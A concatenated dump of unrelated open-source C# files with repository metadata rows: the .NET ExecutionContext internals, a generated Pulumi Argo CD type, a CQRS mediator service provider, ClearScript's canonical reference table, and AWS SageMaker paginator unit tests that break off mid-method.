internal static void RunInternal<TState>(ExecutionContext? executionContext, ContextCallback<TState> callback, ref TState state)
{
// Note: ExecutionContext.RunInternal is an extremely hot function and used by every await, ThreadPool execution, etc.
// Note: Manual enregistering may be addressed by "Exception Handling Write Through Optimization"
// https://github.com/dotnet/runtime/blob/master/docs/design/features/eh-writethru.md
// Enregister variables with 0 post-fix so they can be used in registers without EH forcing them to stack
// Capture references to Thread Contexts
Thread currentThread0 = Thread.CurrentThread;
Thread currentThread = currentThread0;
ExecutionContext? previousExecutionCtx0 = currentThread0._executionContext;
if (previousExecutionCtx0 != null && previousExecutionCtx0.m_isDefault)
{
// Default is a null ExecutionContext internally
previousExecutionCtx0 = null;
}
// Store current ExecutionContext and SynchronizationContext as "previousXxx".
// This allows us to restore them and undo any Context changes made in callback.Invoke
// so that they won't "leak" back into caller.
// These variables will cross EH so be forced to stack
ExecutionContext? previousExecutionCtx = previousExecutionCtx0;
SynchronizationContext? previousSyncCtx = currentThread0._synchronizationContext;
if (executionContext != null && executionContext.m_isDefault)
{
// Default is a null ExecutionContext internally
executionContext = null;
}
if (previousExecutionCtx0 != executionContext)
{
RestoreChangedContextToThread(currentThread0, executionContext, previousExecutionCtx0);
}
ExceptionDispatchInfo? edi = null;
try
{
callback.Invoke(ref state);
}
catch (Exception ex)
{
// Note: we have a "catch" rather than a "finally" because we want
// to stop the first pass of EH here. That way we can restore the previous
// context before any of our callers' EH filters run.
edi = ExceptionDispatchInfo.Capture(ex);
}
// Re-enregistrer variables post EH with 1 post-fix so they can be used in registers rather than from stack
SynchronizationContext? previousSyncCtx1 = previousSyncCtx;
Thread currentThread1 = currentThread;
// The common case is that these have not changed, so avoid the cost of a write barrier if not needed.
if (currentThread1._synchronizationContext != previousSyncCtx1)
{
// Restore changed SynchronizationContext back to previous
currentThread1._synchronizationContext = previousSyncCtx1;
}
ExecutionContext? previousExecutionCtx1 = previousExecutionCtx;
ExecutionContext? currentExecutionCtx1 = currentThread1._executionContext;
if (currentExecutionCtx1 != previousExecutionCtx1)
{
RestoreChangedContextToThread(currentThread1, previousExecutionCtx1, currentExecutionCtx1);
}
// If exception was thrown by callback, rethrow it now original contexts are restored
edi?.Throw();
}
internal static void RunFromThreadPoolDispatchLoop(Thread threadPoolThread, ExecutionContext executionContext, ContextCallback callback, object state)
{
Debug.Assert(threadPoolThread == Thread.CurrentThread);
CheckThreadPoolAndContextsAreDefault();
// ThreadPool starts on Default Context so we don't need to save the "previous" state as we know it is Default (null)
// Default is a null ExecutionContext internally
if (executionContext != null && !executionContext.m_isDefault)
{
// Non-Default context to restore
RestoreChangedContextToThread(threadPoolThread, contextToRestore: executionContext, currentContext: null);
}
ExceptionDispatchInfo? edi = null;
try
{
callback.Invoke(state);
}
catch (Exception ex)
{
// Note: we have a "catch" rather than a "finally" because we want
// to stop the first pass of EH here. That way we can restore the previous
// context before any of our callers' EH filters run.
edi = ExceptionDispatchInfo.Capture(ex);
}
// Enregister threadPoolThread as it crossed EH, and use enregistered variable
Thread currentThread = threadPoolThread;
ExecutionContext? currentExecutionCtx = currentThread._executionContext;
// Restore changed SynchronizationContext back to Default
currentThread._synchronizationContext = null;
if (currentExecutionCtx != null)
{
// The EC always needs to be reset for this overload, as it will flow back to the caller if it performs
// extra work prior to returning to the Dispatch loop. For example for Task-likes it will flow out of await points
RestoreChangedContextToThread(currentThread, contextToRestore: null, currentExecutionCtx);
}
// If exception was thrown by callback, rethrow it now original contexts are restored
edi?.Throw();
}
internal static void RunForThreadPoolUnsafe<TState>(ExecutionContext executionContext, Action<TState> callback, in TState state)
{
// We aren't running in try/catch as if an exception is directly thrown on the ThreadPool either process
// will crash or its a ThreadAbortException.
CheckThreadPoolAndContextsAreDefault();
Debug.Assert(executionContext != null && !executionContext.m_isDefault, "ExecutionContext argument is Default.");
// Restore Non-Default context
Thread.CurrentThread._executionContext = executionContext;
if (executionContext.HasChangeNotifications)
{
OnValuesChanged(previousExecutionCtx: null, executionContext);
}
callback.Invoke(state);
// ThreadPoolWorkQueue.Dispatch will handle notifications and reset EC and SyncCtx back to default
}
internal static void RestoreChangedContextToThread(Thread currentThread, ExecutionContext? contextToRestore, ExecutionContext? currentContext)
{
Debug.Assert(currentThread == Thread.CurrentThread);
Debug.Assert(contextToRestore != currentContext);
// Restore changed ExecutionContext back to previous
currentThread._executionContext = contextToRestore;
if ((currentContext != null && currentContext.HasChangeNotifications) ||
(contextToRestore != null && contextToRestore.HasChangeNotifications))
{
// There are change notifications; trigger any affected
OnValuesChanged(currentContext, contextToRestore);
}
}
// Inline as only called in one place and always called
[MethodImpl(MethodImplOptions.AggressiveInlining)]
internal static void ResetThreadPoolThread(Thread currentThread)
{
ExecutionContext? currentExecutionCtx = currentThread._executionContext;
// Reset to defaults
currentThread._synchronizationContext = null;
currentThread._executionContext = null;
if (currentExecutionCtx != null && currentExecutionCtx.HasChangeNotifications)
{
OnValuesChanged(currentExecutionCtx, nextExecutionCtx: null);
// Reset to defaults again without change notifications in case the Change handler changed the contexts
currentThread._synchronizationContext = null;
currentThread._executionContext = null;
}
}
[System.Diagnostics.Conditional("DEBUG")]
internal static void CheckThreadPoolAndContextsAreDefault()
{
Debug.Assert(Thread.CurrentThread.IsThreadPoolThread);
Debug.Assert(Thread.CurrentThread._executionContext == null, "ThreadPool thread not on Default ExecutionContext.");
Debug.Assert(Thread.CurrentThread._synchronizationContext == null, "ThreadPool thread not on Default SynchronizationContext.");
}
internal static void OnValuesChanged(ExecutionContext? previousExecutionCtx, ExecutionContext? nextExecutionCtx)
{
Debug.Assert(previousExecutionCtx != nextExecutionCtx);
// Collect Change Notifications
IAsyncLocal[]? previousChangeNotifications = previousExecutionCtx?.m_localChangeNotifications;
IAsyncLocal[]? nextChangeNotifications = nextExecutionCtx?.m_localChangeNotifications;
// At least one side must have notifications
Debug.Assert(previousChangeNotifications != null || nextChangeNotifications != null);
// Fire Change Notifications
try
{
if (previousChangeNotifications != null && nextChangeNotifications != null)
{
// Notifications can't exist without values
Debug.Assert(previousExecutionCtx!.m_localValues != null);
Debug.Assert(nextExecutionCtx!.m_localValues != null);
// Both contexts have change notifications, check previousExecutionCtx first
foreach (IAsyncLocal local in previousChangeNotifications)
{
previousExecutionCtx.m_localValues.TryGetValue(local, out object? previousValue);
nextExecutionCtx.m_localValues.TryGetValue(local, out object? currentValue);
if (previousValue != currentValue)
{
local.OnValueChanged(previousValue, currentValue, contextChanged: true);
}
}
if (nextChangeNotifications != previousChangeNotifications)
{
// Check for additional notifications in nextExecutionCtx
foreach (IAsyncLocal local in nextChangeNotifications)
{
// If the local has a value in the previous context, we already fired the event
// for that local in the code above.
if (!previousExecutionCtx.m_localValues.TryGetValue(local, out object? previousValue))
{
nextExecutionCtx.m_localValues.TryGetValue(local, out object? currentValue);
if (previousValue != currentValue)
{
local.OnValueChanged(previousValue, currentValue, contextChanged: true);
}
}
}
}
}
else if (previousChangeNotifications != null)
{
// Notifications can't exist without values
Debug.Assert(previousExecutionCtx!.m_localValues != null);
// No current values, so just check previous against null
foreach (IAsyncLocal local in previousChangeNotifications)
{
previousExecutionCtx.m_localValues.TryGetValue(local, out object? previousValue);
if (previousValue != null)
{
local.OnValueChanged(previousValue, null, contextChanged: true);
}
}
}
else // Implied: nextChangeNotifications != null
{
// Notifications can't exist without values
Debug.Assert(nextExecutionCtx!.m_localValues != null);
// No previous values, so just check current against null
foreach (IAsyncLocal local in nextChangeNotifications!)
{
nextExecutionCtx.m_localValues.TryGetValue(local, out object? currentValue);
if (currentValue != null)
{
local.OnValueChanged(null, currentValue, contextChanged: true);
}
}
}
}
catch (Exception ex)
{
Environment.FailFast(
SR.ExecutionContext_ExceptionInAsyncLocalNotification,
ex);
}
}
[DoesNotReturn]
[StackTraceHidden]
private static void ThrowNullContext()
{
throw new InvalidOperationException(SR.InvalidOperation_NullContext);
}
internal static object? GetLocalValue(IAsyncLocal local)
{
ExecutionContext? current = Thread.CurrentThread._executionContext;
if (current == null)
{
return null;
}
Debug.Assert(!current.IsDefault);
Debug.Assert(current.m_localValues != null, "Only the default context should have null, and we shouldn't be here on the default context");
current.m_localValues.TryGetValue(local, out object? value);
return value;
}
internal static void SetLocalValue(IAsyncLocal local, object? newValue, bool needChangeNotifications)
{
ExecutionContext? current = Thread.CurrentThread._executionContext;
object? previousValue = null;
bool hadPreviousValue = false;
if (current != null)
{
Debug.Assert(!current.IsDefault);
Debug.Assert(current.m_localValues != null, "Only the default context should have null, and we shouldn't be here on the default context");
hadPreviousValue = current.m_localValues.TryGetValue(local, out previousValue);
}
if (previousValue == newValue)
{
return;
}
// Regarding 'treatNullValueAsNonexistent: !needChangeNotifications' below:
// - When change notifications are not necessary for this IAsyncLocal, there is no observable difference between
// storing a null value and removing the IAsyncLocal from 'm_localValues'
// - When change notifications are necessary for this IAsyncLocal, the IAsyncLocal's absence in 'm_localValues'
// indicates that this is the first value change for the IAsyncLocal and it needs to be registered for change
// notifications. So in this case, a null value must be stored in 'm_localValues' to indicate that the IAsyncLocal
// is already registered for change notifications.
IAsyncLocal[]? newChangeNotifications = null;
IAsyncLocalValueMap newValues;
bool isFlowSuppressed = false;
if (current != null)
{
Debug.Assert(!current.IsDefault);
Debug.Assert(current.m_localValues != null, "Only the default context should have null, and we shouldn't be here on the default context");
isFlowSuppressed = current.m_isFlowSuppressed;
newValues = current.m_localValues.Set(local, newValue, treatNullValueAsNonexistent: !needChangeNotifications);
newChangeNotifications = current.m_localChangeNotifications;
}
else
{
// First AsyncLocal
newValues = AsyncLocalValueMap.Create(local, newValue, treatNullValueAsNonexistent: !needChangeNotifications);
}
//
// Either copy the change notification array, or create a new one, depending on whether we need to add a new item.
//
if (needChangeNotifications)
{
if (hadPreviousValue)
{
Debug.Assert(newChangeNotifications != null);
Debug.Assert(Array.IndexOf(newChangeNotifications, local) >= 0);
}
else if (newChangeNotifications == null)
{
newChangeNotifications = new IAsyncLocal[1] { local };
}
else
{
int newNotificationIndex = newChangeNotifications.Length;
Array.Resize(ref newChangeNotifications, newNotificationIndex + 1);
newChangeNotifications[newNotificationIndex] = local;
}
}
Thread.CurrentThread._executionContext =
(!isFlowSuppressed && AsyncLocalValueMap.IsEmpty(newValues)) ?
null : // No values, return to Default context
new ExecutionContext(newValues, newChangeNotifications, isFlowSuppressed);
if (needChangeNotifications)
{
local.OnValueChanged(previousValue, newValue, contextChanged: false);
}
}
public ExecutionContext CreateCopy()
{
return this; // since CoreCLR's ExecutionContext is immutable, we don't need to create copies.
}
public void Dispose()
{
// For CLR compat only
}
}
public struct AsyncFlowControl : IDisposable
{
private Thread? _thread;
internal void Initialize(Thread currentThread)
{
Debug.Assert(currentThread == Thread.CurrentThread);
_thread = currentThread;
}
public void Undo()
{
if (_thread == null)
{
throw new InvalidOperationException(SR.InvalidOperation_CannotUseAFCMultiple);
}
if (Thread.CurrentThread != _thread)
{
throw new InvalidOperationException(SR.InvalidOperation_CannotUseAFCOtherThread);
}
// An async flow control cannot be undone when a different execution context is applied. The desktop framework
// mutates the execution context when its state changes, and only changes the instance when an execution context
// is applied (for instance, through ExecutionContext.Run). The framework prevents a suppressed-flow execution
// context from being applied by returning null from ExecutionContext.Capture, so the only type of execution
// context that can be applied is one whose flow is not suppressed. After suppressing flow and changing an async
// local's value, the desktop framework verifies that a different execution context has not been applied by
// checking the execution context instance against the one saved from when flow was suppressed. In .NET Core,
// since the execution context instance will change after changing the async local's value, it verifies that a
// different execution context has not been applied, by instead ensuring that the current execution context's
// flow is suppressed.
if (!ExecutionContext.IsFlowSuppressed())
{
throw new InvalidOperationException(SR.InvalidOperation_AsyncFlowCtrlCtxMismatch);
}
_thread = null;
ExecutionContext.RestoreFlow();
}
public void Dispose()
{
Undo();
}
public override bool Equals(object? obj)
{
return obj is AsyncFlowControl && Equals((AsyncFlowControl)obj);
}
public bool Equals(AsyncFlowControl obj)
{
return _thread == obj._thread;
}
public override int GetHashCode()
{
return _thread?.GetHashCode() ?? 0;
}
public static bool operator ==(AsyncFlowControl a, AsyncFlowControl b) => a.Equals(b);
public static bool operator !=(AsyncFlowControl a, AsyncFlowControl b) => !(a == b);
}
}
| 45.73125 | 173 | 0.614049 | [
"MIT"
] | AzureMentor/runtime | src/libraries/System.Private.CoreLib/src/System/Threading/ExecutionContext.cs | 29,268 | C# |
// *** WARNING: this file was generated by crd2pulumi. ***
// *** Do not edit by hand unless you're certain you know what you are doing! ***
using System;
using System.Collections.Generic;
using System.Collections.Immutable;
using System.Threading.Tasks;
using Pulumi.Serialization;
namespace Pulumi.Kubernetes.Types.Inputs.Argoproj.V1Alpha1
{
/// <summary>
/// ApplicationSourceJsonnet holds jsonnet specific options
/// </summary>
public class ApplicationStatusOperationStateSyncResultSourceDirectoryJsonnetArgs : Pulumi.ResourceArgs
{
[Input("extVars")]
private InputList<Pulumi.Kubernetes.Types.Inputs.Argoproj.V1Alpha1.ApplicationStatusOperationStateSyncResultSourceDirectoryJsonnetExtVarsArgs>? _extVars;
/// <summary>
/// ExtVars is a list of Jsonnet External Variables
/// </summary>
public InputList<Pulumi.Kubernetes.Types.Inputs.Argoproj.V1Alpha1.ApplicationStatusOperationStateSyncResultSourceDirectoryJsonnetExtVarsArgs> ExtVars
{
get => _extVars ?? (_extVars = new InputList<Pulumi.Kubernetes.Types.Inputs.Argoproj.V1Alpha1.ApplicationStatusOperationStateSyncResultSourceDirectoryJsonnetExtVarsArgs>());
set => _extVars = value;
}
[Input("libs")]
private InputList<string>? _libs;
/// <summary>
/// Additional library search dirs
/// </summary>
public InputList<string> Libs
{
get => _libs ?? (_libs = new InputList<string>());
set => _libs = value;
}
[Input("tlas")]
private InputList<Pulumi.Kubernetes.Types.Inputs.Argoproj.V1Alpha1.ApplicationStatusOperationStateSyncResultSourceDirectoryJsonnetTlasArgs>? _tlas;
/// <summary>
/// TLAS is a list of Jsonnet Top-level Arguments
/// </summary>
public InputList<Pulumi.Kubernetes.Types.Inputs.Argoproj.V1Alpha1.ApplicationStatusOperationStateSyncResultSourceDirectoryJsonnetTlasArgs> Tlas
{
get => _tlas ?? (_tlas = new InputList<Pulumi.Kubernetes.Types.Inputs.Argoproj.V1Alpha1.ApplicationStatusOperationStateSyncResultSourceDirectoryJsonnetTlasArgs>());
set => _tlas = value;
}
public ApplicationStatusOperationStateSyncResultSourceDirectoryJsonnetArgs()
{
}
}
}
| 39.830508 | 185 | 0.69617 | [
"Apache-2.0"
] | pulumi/pulumi-kubernetes-crds | operators/argocd-operator/dotnet/Kubernetes/Crds/Operators/ArgocdOperator/Argoproj/V1Alpha1/Inputs/ApplicationStatusOperationStateSyncResultSourceDirectoryJsonnetArgs.cs | 2,350 | C# |
using System.Collections.Generic;
namespace Datapoint.Cqrs.Mediator
{
/// <summary>
/// A provider for mediator services such as command handles, notification
/// handlers, query handlers and others.
/// </summary>
public abstract class MediatorServiceProvider : IMediatorServiceProvider
{
/// <summary>
/// Gets a command handlers.
/// </summary>
/// <typeparam name="TCommand">The command type.</typeparam>
/// <returns>The command handler, if available.</returns>
public ICommandHandler<TCommand> GetCommandHandler<TCommand>()
where TCommand : class, ICommand =>
GetService<ICommandHandler<TCommand>>();
/// <summary>
/// Gets the middlewares.
/// </summary>
/// <returns>The middlewares.</returns>
public IEnumerable<IMiddleware> GetMiddlewares() =>
GetServices<IMiddleware>();
/// <summary>
/// Gets a notification handlers.
/// </summary>
/// <typeparam name="TNotification">The notification type.</typeparam>
/// <returns>The notification handlers.</returns>
public IEnumerable<INotificationHandler<TNotification>> GetNotificationHandlers<TNotification>()
where TNotification : class, INotification =>
GetServices<INotificationHandler<TNotification>>();
/// <summary>
/// Gets a query handler.
/// </summary>
/// <typeparam name="TQuery">The query type.</typeparam>
/// <typeparam name="TQueryResult">The query result.</typeparam>
/// <returns>The query handler, if available.</returns>
public IQueryHandler<TQuery, TQueryResult> GetQueryHandler<TQuery, TQueryResult>()
where TQuery : class, IQuery<TQueryResult>
where TQueryResult : class =>
GetService<IQueryHandler<TQuery, TQueryResult>>();
/// <summary>
/// Gets a generic service.
/// </summary>
/// <typeparam name="TService">The generic service type.</typeparam>
/// <returns>The generic service, if available.</returns>
public abstract TService GetService<TService>()
where TService : class;
/// <summary>
/// Gets generic services.
/// </summary>
/// <typeparam name="TService">The generic service type.</typeparam>
/// <returns>The generic services.</returns>
public abstract IEnumerable<TService> GetServices<TService>()
where TService : class;
}
}
| 34.890625 | 98 | 0.706673 | [
"MIT"
] | datapoint-corporation/datapoint-cqrs | src/dotnet/src/Datapoint.Cqrs.Mediator.Abstractions/MediatorServiceProvider.cs | 2,235 | C# |
//
// Copyright (c) Microsoft Corporation. All rights reserved.
//
// Microsoft Public License (MS-PL)
//
// This license governs use of the accompanying software. If you use the
// software, you accept this license. If you do not accept the license, do not
// use the software.
//
// 1. Definitions
//
// The terms "reproduce," "reproduction," "derivative works," and
// "distribution" have the same meaning here as under U.S. copyright law. A
// "contribution" is the original software, or any additions or changes to
// the software. A "contributor" is any person that distributes its
// contribution under this license. "Licensed patents" are a contributor's
// patent claims that read directly on its contribution.
//
// 2. Grant of Rights
//
// (A) Copyright Grant- Subject to the terms of this license, including the
// license conditions and limitations in section 3, each contributor
// grants you a non-exclusive, worldwide, royalty-free copyright license
// to reproduce its contribution, prepare derivative works of its
// contribution, and distribute its contribution or any derivative works
// that you create.
//
// (B) Patent Grant- Subject to the terms of this license, including the
// license conditions and limitations in section 3, each contributor
// grants you a non-exclusive, worldwide, royalty-free license under its
// licensed patents to make, have made, use, sell, offer for sale,
// import, and/or otherwise dispose of its contribution in the software
// or derivative works of the contribution in the software.
//
// 3. Conditions and Limitations
//
// (A) No Trademark License- This license does not grant you rights to use
// any contributors' name, logo, or trademarks.
//
// (B) If you bring a patent claim against any contributor over patents that
// you claim are infringed by the software, your patent license from such
// contributor to the software ends automatically.
//
// (C) If you distribute any portion of the software, you must retain all
// copyright, patent, trademark, and attribution notices that are present
// in the software.
//
// (D) If you distribute any portion of the software in source code form, you
// may do so only under this license by including a complete copy of this
// license with your distribution. If you distribute any portion of the
// software in compiled or object code form, you may only do so under a
// license that complies with this license.
//
// (E) The software is licensed "as-is." You bear the risk of using it. The
// contributors give no express warranties, guarantees or conditions. You
// may have additional consumer rights under your local laws which this
// license cannot change. To the extent permitted under your local laws,
// the contributors exclude the implied warranties of merchantability,
// fitness for a particular purpose and non-infringement.
//
using System;
using System.Collections.Generic;
using System.Linq;
using Microsoft.ClearScript.Util;
namespace Microsoft.ClearScript
{
internal static class CanonicalRefTable
{
private static readonly object tableLock = new object();
private static readonly Dictionary<Type, ICanonicalRefMap> table = new Dictionary<Type, ICanonicalRefMap>();
public static object GetCanonicalRef(object obj)
{
if (obj is ValueType)
{
var map = GetMap(obj);
if (map != null)
{
obj = map.GetRef(obj);
}
}
return obj;
}
private static ICanonicalRefMap GetMap(object obj)
{
var type = obj.GetType();
lock (tableLock)
{
ICanonicalRefMap map;
if (!table.TryGetValue(type, out map))
{
if (type.IsEnum ||
type.IsNumeric() ||
type == typeof(DateTime) ||
type == typeof(DateTimeOffset) ||
type == typeof(TimeSpan) ||
type.GetCustomAttributes(typeof(ImmutableValueAttribute), false).Any())
{
map = (ICanonicalRefMap)typeof(CanonicalRefMap<>).MakeGenericType(type).CreateInstance();
}
table.Add(type, map);
}
return map;
}
}
#region Nested type: ICanonicalRefMap
private interface ICanonicalRefMap
{
object GetRef(object obj);
}
#endregion
#region Nested type: CanonicalRefMapBase
private abstract class CanonicalRefMapBase : ICanonicalRefMap
{
protected const int CompactionThreshold = 256 * 1024;
protected static readonly TimeSpan CompactionInterval = TimeSpan.FromMinutes(2);
#region ICanonicalRefMap implementation (abstract)
public abstract object GetRef(object obj);
#endregion
}
#endregion
#region Nested type: CanonicalRefMap<T>
private class CanonicalRefMap<T> : CanonicalRefMapBase
{
private readonly object mapLock = new object();
private readonly Dictionary<T, WeakReference> map = new Dictionary<T, WeakReference>();
private DateTime lastCompactionTime = DateTime.MinValue;
private object GetRefInternal(object obj)
{
var value = (T)obj;
object result;
WeakReference weakRef;
if (map.TryGetValue(value, out weakRef))
{
result = weakRef.Target;
if (result == null)
{
result = obj;
weakRef.Target = result;
}
}
else
{
result = obj;
map.Add(value, new WeakReference(result));
}
return result;
}
private void CompactIfNecessary()
{
if (map.Count >= CompactionThreshold)
{
var now = DateTime.UtcNow;
if ((lastCompactionTime + CompactionInterval) <= now)
{
map.Where(pair => !pair.Value.IsAlive).ToList().ForEach(pair => map.Remove(pair.Key));
lastCompactionTime = now;
}
}
}
#region CanonicalRefMapBase overrides
public override object GetRef(object obj)
{
lock (mapLock)
{
var result = GetRefInternal(obj);
CompactIfNecessary();
return result;
}
}
#endregion
}
#endregion
}
} | 35.795 | 116 | 0.57508 | [
"Apache-2.0"
] | komiyamma/hm_customlivepreview | HmCustomLivePreview.src/hmJSStaticLib/ClearScript/JS/CanonicalRefTable.cs | 7,159 | C# |
using Core.Domain.Interfaces;
namespace Catalogo.Domain.Interfaces
{
public interface IUnitOfWorkCatalogo : IUnitOfWork
{
}
} | 16.444444 | 54 | 0.695946 | [
"MIT"
] | pedrogutierres/rumox | src/Catalogo/Catalogo.Domain/Interfaces/IUnitOfWorkCatalogo.cs | 150 | C# |
namespace Waf.MusicManager.Applications.Data.Metadata
{
internal class WavSaveMetadata : SaveMetadata
{
protected override bool IsSupported => false;
}
}
| 21.875 | 54 | 0.714286 | [
"MIT"
] | Bhaskers-Blu-Org2/AppConsult-WinAppsModernizationWorkshop | Samples-NetCore/MusicManager/MusicManager.Applications/Data/Metadata/WavSaveMetadata.cs | 177 | C# |
#if !NETSTANDARD13
/*
* Copyright 2010-2014 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/*
* Do not modify this file. This file is generated from the sagemaker-2017-07-24.normal.json service model.
*/
using Amazon.SageMaker;
using Amazon.SageMaker.Model;
using Moq;
using System;
using System.Linq;
using AWSSDK_DotNet35.UnitTests.TestTools;
using Microsoft.VisualStudio.TestTools.UnitTesting;
namespace AWSSDK_DotNet35.UnitTests.PaginatorTests
{
[TestClass]
public class SageMakerPaginatorTests
{
private static Mock<AmazonSageMakerClient> _mockClient;
[ClassInitialize()]
public static void ClassInitialize(TestContext a)
{
_mockClient = new Mock<AmazonSageMakerClient>("access key", "secret", Amazon.RegionEndpoint.USEast1);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListAlgorithmsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListAlgorithmsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListAlgorithmsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListAlgorithmsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListAlgorithms(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListAlgorithms(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListAlgorithmsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListAlgorithmsRequest>();
var response = InstantiateClassGenerator.Execute<ListAlgorithmsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListAlgorithms(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListAlgorithms(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListAppsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListAppsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListAppsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListAppsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListApps(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListApps(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListAppsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListAppsRequest>();
var response = InstantiateClassGenerator.Execute<ListAppsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListApps(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListApps(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListAutoMLJobsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListAutoMLJobsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListAutoMLJobsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListAutoMLJobsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListAutoMLJobs(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListAutoMLJobs(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListAutoMLJobsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListAutoMLJobsRequest>();
var response = InstantiateClassGenerator.Execute<ListAutoMLJobsResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListAutoMLJobs(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListAutoMLJobs(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListCandidatesForAutoMLJobTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListCandidatesForAutoMLJobRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListCandidatesForAutoMLJobResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListCandidatesForAutoMLJobResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListCandidatesForAutoMLJob(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListCandidatesForAutoMLJob(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListCandidatesForAutoMLJobTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListCandidatesForAutoMLJobRequest>();
var response = InstantiateClassGenerator.Execute<ListCandidatesForAutoMLJobResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListCandidatesForAutoMLJob(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListCandidatesForAutoMLJob(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListCodeRepositoriesTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListCodeRepositoriesRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListCodeRepositoriesResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListCodeRepositoriesResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListCodeRepositories(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListCodeRepositories(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListCodeRepositoriesTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListCodeRepositoriesRequest>();
var response = InstantiateClassGenerator.Execute<ListCodeRepositoriesResponse>();
response.NextToken = null;
_mockClient.Setup(x => x.ListCodeRepositories(request)).Returns(response);
var paginator = _mockClient.Object.Paginators.ListCodeRepositories(request);
// Should work the first time
paginator.Responses.ToList();
// Second time should throw an exception
paginator.Responses.ToList();
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
public void ListCompilationJobsTest_TwoPages()
{
var request = InstantiateClassGenerator.Execute<ListCompilationJobsRequest>();
var firstResponse = InstantiateClassGenerator.Execute<ListCompilationJobsResponse>();
var secondResponse = InstantiateClassGenerator.Execute<ListCompilationJobsResponse>();
secondResponse.NextToken = null;
_mockClient.SetupSequence(x => x.ListCompilationJobs(request)).Returns(firstResponse).Returns(secondResponse);
var paginator = _mockClient.Object.Paginators.ListCompilationJobs(request);
Assert.AreEqual(2, paginator.Responses.ToList().Count);
}
[TestMethod]
[TestCategory("UnitTest")]
[TestCategory("SageMaker")]
[ExpectedException(typeof(System.InvalidOperationException), "Paginator has already been consumed and cannot be reused. Please create a new instance.")]
public void ListCompilationJobsTest__OnlyUsedOnce()
{
var request = InstantiateClassGenerator.Execute<ListCompilationJobsRequest>();
